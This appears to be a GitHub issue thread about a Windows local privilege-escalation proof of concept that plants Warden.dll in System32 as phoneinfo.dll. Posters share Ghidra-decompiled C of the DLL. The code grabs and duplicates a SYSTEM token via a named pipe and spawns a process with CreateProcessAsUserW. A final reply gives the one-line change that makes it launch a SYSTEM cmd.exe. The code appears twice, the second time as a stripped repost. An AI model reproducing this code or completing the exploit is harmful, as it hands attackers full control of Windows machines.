Please provide source code for `Warden.dll`

[devsecops-testing-cicd]

The PoC did not create an elevated command prompt, however, the Warden.dll is dropped into System32 as phoneinfo.dll.

This looks to be inspired by WerTrigger - which is fine - but it would be nice to have the DLL’s source code to better understand what this PoC does when werfault is triggered.

Thanks! 🙂

[devsecops-testing-cicd]

I dropped the DLL into Ghidra and exported the decompiled C here:
https://github.com/devsecops-testing-cicd/ShieldBreak-Warden.dll-Decompiled/blob/main/Warden.dll.c

[getmoneya35-beep]

ur the goat bro omg

[bytecategory]

1 连接 \.\pipe\SHIELDBREAK
2 拿 SYSTEM token
3 複製 token
4 調整 Session ID
5 用 SYSTEM token 生成 cmd.exe

1 Connect to \\.\pipe\SHIELDBREAK
2 Obtain the SYSTEM token
3 Copy the token
4 Adjust the Session ID
5 Spawn cmd.exe using the SYSTEM token

[devsecops-testing-cicd]

@bytecategory Can you elaborate on where you see cmd.exe spawned? It looks like the notable function in the decompiled artifact spawns conhost.exe instead of cmd.exe.

Are we supposed to patch the arguments for CreateProcessAsUserW with cmd.exe to obtain the elevated command prompt?

void FUN_180001000(void)

{
  BOOL BVar1;
  HANDLE pvVar2;
  undefined1 auStackY_118 [32];
  HANDLE local_b8;
  HANDLE local_b0;
  _PROCESS_INFORMATION local_a8;
  ULONG local_90 [2];
  _STARTUPINFOW local_88;
  ulonglong local_18;
  
  local_18 = DAT_180019000 ^ (ulonglong)auStackY_118;
  pvVar2 = CreateFileW(L"\\??\\pipe\\SHIELDBREAK",0x80000000,0,(LPSECURITY_ATTRIBUTES)0x0,3,0x80,
                       (HANDLE)0x0);
  if (pvVar2 != (HANDLE)0xffffffffffffffff) {
    local_90[0] = 0;
    BVar1 = GetNamedPipeServerSessionId(pvVar2,local_90);
    if (BVar1 != 0) {
      CloseHandle(pvVar2);
      local_b0 = (HANDLE)0x0;
      pvVar2 = GetCurrentProcess();
      BVar1 = OpenProcessToken(pvVar2,0xf01ff,&local_b0);
      if (BVar1 != 0) {
        local_b8 = (HANDLE)0x0;
        BVar1 = DuplicateTokenEx(local_b0,0xf01ff,(LPSECURITY_ATTRIBUTES)0x0,SecurityDelegation,
                                 TokenPrimary,&local_b8);
        CloseHandle(local_b0);
        if (BVar1 != 0) {
          BVar1 = SetTokenInformation(local_b8,TokenSessionId,local_90,4);
          if (BVar1 == 0) {
            CloseHandle(local_b8);
                    // WARNING: Subroutine does not return
            ExitProcess(0);
          }
          local_88.hStdError = (HANDLE)0x0;
          local_a8.dwProcessId = 0;
          local_a8.dwThreadId = 0;
          local_88.cb = 0;
          local_88._4_4_ = 0;
          local_88.lpReserved = (LPWSTR)0x0;
          local_88.lpDesktop = (LPWSTR)0x0;
          local_88.lpTitle = (LPWSTR)0x0;
          local_88.dwX = 0;
          local_88.dwY = 0;
          local_88.dwXSize = 0;
          local_88.dwYSize = 0;
          local_88.dwXCountChars = 0;
          local_88.dwYCountChars = 0;
          local_88.dwFillAttribute = 0;
          local_88.dwFlags = 0;
          local_88.wShowWindow = 0;
          local_88.cbReserved2 = 0;
          local_88._68_4_ = 0;
          local_88.lpReserved2 = (LPBYTE)0x0;
          local_88.hStdInput = (HANDLE)0x0;
          local_88.hStdOutput = (HANDLE)0x0;
          local_a8.hProcess = (HANDLE)0x0;
          local_a8.hThread = (HANDLE)0x0;
          CreateProcessAsUserW
                    (local_b8,L"C:\\Windows\\System32\\conhost.exe",(LPWSTR)0x0,
                     (LPSECURITY_ATTRIBUTES)0x0,(LPSECURITY_ATTRIBUTES)0x0,0,0,(LPVOID)0x0,
                     (LPCWSTR)0x0,&local_88,&local_a8);
          CloseHandle(local_b8);
          if (local_a8.hProcess != (HANDLE)0x0) {
            CloseHandle(local_a8.hProcess);
          }
          if (local_a8.hThread != (HANDLE)0x0) {
            CloseHandle(local_a8.hThread);
          }
        }
      }
    }
  }
                    // WARNING: Subroutine does not return
  ExitProcess(0);
}

[bytecategory]

@bytecategory Can you elaborate on where you see cmd.exe spawned? It looks like the notable function in the decompiled artifact spawns conhost.exe instead of cmd.exe.

Are we supposed to patch the arguments for CreateProcessAsUserW with cmd.exe to obtain the elevated command prompt?

void FUN_180001000(void)

{
BOOL BVar1;
HANDLE pvVar2;
undefined1 auStackY_118 [32];
HANDLE local_b8;
HANDLE local_b0;
_PROCESS_INFORMATION local_a8;
ULONG local_90 [2];
_STARTUPINFOW local_88;
ulonglong local_18;

local_18 = DAT_180019000 ^ (ulonglong)auStackY_118;
pvVar2 = CreateFileW(L"\??\pipe\SHIELDBREAK",0x80000000,0,(LPSECURITY_ATTRIBUTES)0x0,3,0x80,
(HANDLE)0x0);
if (pvVar2 != (HANDLE)0xffffffffffffffff) {
local_90[0] = 0;
BVar1 = GetNamedPipeServerSessionId(pvVar2,local_90);
if (BVar1 != 0) {
CloseHandle(pvVar2);
local_b0 = (HANDLE)0x0;
pvVar2 = GetCurrentProcess();
BVar1 = OpenProcessToken(pvVar2,0xf01ff,&local_b0);
if (BVar1 != 0) {
local_b8 = (HANDLE)0x0;
BVar1 = DuplicateTokenEx(local_b0,0xf01ff,(LPSECURITY_ATTRIBUTES)0x0,SecurityDelegation,
TokenPrimary,&local_b8);
CloseHandle(local_b0);
if (BVar1 != 0) {
BVar1 = SetTokenInformation(local_b8,TokenSessionId,local_90,4);
if (BVar1 == 0) {
CloseHandle(local_b8);
// WARNING: Subroutine does not return
ExitProcess(0);
}
local_88.hStdError = (HANDLE)0x0;
local_a8.dwProcessId = 0;
local_a8.dwThreadId = 0;
local_88.cb = 0;
local_88.4_4 = 0;
local_88.lpReserved = (LPWSTR)0x0;
local_88.lpDesktop = (LPWSTR)0x0;
local_88.lpTitle = (LPWSTR)0x0;
local_88.dwX = 0;
local_88.dwY = 0;
local_88.dwXSize = 0;
local_88.dwYSize = 0;
local_88.dwXCountChars = 0;
local_88.dwYCountChars = 0;
local_88.dwFillAttribute = 0;
local_88.dwFlags = 0;
local_88.wShowWindow = 0;
local_88.cbReserved2 = 0;
local_88.68_4 = 0;
local_88.lpReserved2 = (LPBYTE)0x0;
local_88.hStdInput = (HANDLE)0x0;
local_88.hStdOutput = (HANDLE)0x0;
local_a8.hProcess = (HANDLE)0x0;
local_a8.hThread = (HANDLE)0x0;
CreateProcessAsUserW
(local_b8,L"C:\Windows\System32\conhost.exe",(LPWSTR)0x0,
(LPSECURITY_ATTRIBUTES)0x0,(LPSECURITY_ATTRIBUTES)0x0,0,0,(LPVOID)0x0,
(LPCWSTR)0x0,&local_88,&local_a8);
CloseHandle(local_b8);
if (local_a8.hProcess != (HANDLE)0x0) {
CloseHandle(local_a8.hProcess);
}
if (local_a8.hThread != (HANDLE)0x0) {
CloseHandle(local_a8.hThread);
}
}
}
}
}
// WARNING: Subroutine does not return
ExitProcess(0);
}

Change the second parameter from NULL(0x00) to L"C:\Windows\System32\cmd.exe"